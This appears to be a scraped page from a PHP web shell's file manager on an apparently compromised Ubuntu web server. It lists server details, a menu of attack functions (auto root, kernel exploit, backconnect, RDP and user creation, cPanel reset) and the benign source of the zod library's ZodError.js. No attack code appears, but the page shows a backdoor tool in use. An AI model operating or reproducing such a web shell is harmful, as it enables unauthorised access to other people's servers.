Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cqt /
node_modules /
zod /
v3 /
[ HOME SHELL ]
Name
Size
Permission
Action
helpers
[ DIR ]
drwxr-xr-x
locales
[ DIR ]
drwxr-xr-x
ZodError.cjs
4.47
KB
-rw-r--r--
ZodError.d.cts
6.26
KB
-rw-r--r--
ZodError.d.ts
6.26
KB
-rw-r--r--
ZodError.js
4.25
KB
-rw-r--r--
errors.cjs
579
B
-rw-r--r--
errors.d.cts
240
B
-rw-r--r--
errors.d.ts
238
B
-rw-r--r--
errors.js
243
B
-rw-r--r--
external.cjs
1.05
KB
-rw-r--r--
external.d.cts
211
B
-rw-r--r--
external.d.ts
205
B
-rw-r--r--
external.js
205
B
-rw-r--r--
index.cjs
1.43
KB
-rw-r--r--
index.d.cts
101
B
-rw-r--r--
index.d.ts
99
B
-rw-r--r--
index.js
99
B
-rw-r--r--
standard-schema.cjs
77
B
-rw-r--r--
standard-schema.d.cts
2.78
KB
-rw-r--r--
standard-schema.d.ts
2.78
KB
-rw-r--r--
standard-schema.js
11
B
-rw-r--r--
types.cjs
136.82
KB
-rw-r--r--
types.d.cts
50.77
KB
-rw-r--r--
types.d.ts
50.76
KB
-rw-r--r--
types.js
128.14
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ZodError.js
import { util } from "./helpers/util.js"; export const ZodIssueCode = util.arrayToEnum([ "invalid_type", "invalid_literal", "custom", "invalid_union", "invalid_union_discriminator", "invalid_enum_value", "unrecognized_keys", "invalid_arguments", "invalid_return_type", "invalid_date", "invalid_string", "too_small", "too_big", "invalid_intersection_types", "not_multiple_of", "not_finite", ]); export const quotelessJson = (obj) => { const json = JSON.stringify(obj, null, 2); return json.replace(/"([^"]+)":/g, "$1:"); }; export class ZodError extends Error { get errors() { return this.issues; } constructor(issues) { super(); this.issues = []; this.addIssue = (sub) => { this.issues = [...this.issues, sub]; }; this.addIssues = (subs = []) => { this.issues = [...this.issues, ...subs]; }; const actualProto = new.target.prototype; if (Object.setPrototypeOf) { // eslint-disable-next-line ban/ban Object.setPrototypeOf(this, actualProto); } else { this.__proto__ = actualProto; } this.name = "ZodError"; this.issues = issues; } format(_mapper) { const mapper = _mapper || function (issue) { return issue.message; }; const fieldErrors = { _errors: [] }; const processError = (error) => { for (const issue of error.issues) { if (issue.code === "invalid_union") { issue.unionErrors.map(processError); } else if (issue.code === "invalid_return_type") { processError(issue.returnTypeError); } else if (issue.code === "invalid_arguments") { processError(issue.argumentsError); } else if (issue.path.length === 0) { fieldErrors._errors.push(mapper(issue)); } else { let curr = fieldErrors; let i = 0; while (i < issue.path.length) { const el = issue.path[i]; const terminal = i === issue.path.length - 1; if (!terminal) { curr[el] = curr[el] || { _errors: [] }; // if (typeof el === "string") { // curr[el] = curr[el] || { _errors: [] }; // } else if (typeof el === "number") { // const errorArray: any = []; // errorArray._errors = []; // curr[el] = curr[el] || errorArray; // } } else { curr[el] = curr[el] || { _errors: [] }; curr[el]._errors.push(mapper(issue)); } curr = curr[el]; i++; } } } }; processError(this); return fieldErrors; } static assert(value) { if (!(value instanceof ZodError)) { throw new Error(`Not a ZodError: ${value}`); } } toString() { return this.message; } get message() { return JSON.stringify(this.issues, util.jsonStringifyReplacer, 2); } get isEmpty() { return this.issues.length === 0; } flatten(mapper = (issue) => issue.message) { const fieldErrors = {}; const formErrors = []; for (const sub of this.issues) { if (sub.path.length > 0) { const firstEl = sub.path[0]; fieldErrors[firstEl] = fieldErrors[firstEl] || []; fieldErrors[firstEl].push(mapper(sub)); } else { formErrors.push(mapper(sub)); } } return { formErrors, fieldErrors }; } get formErrors() { return this.flatten(); } } ZodError.create = (issues) => { const error = new ZodError(issues); return error; };
Close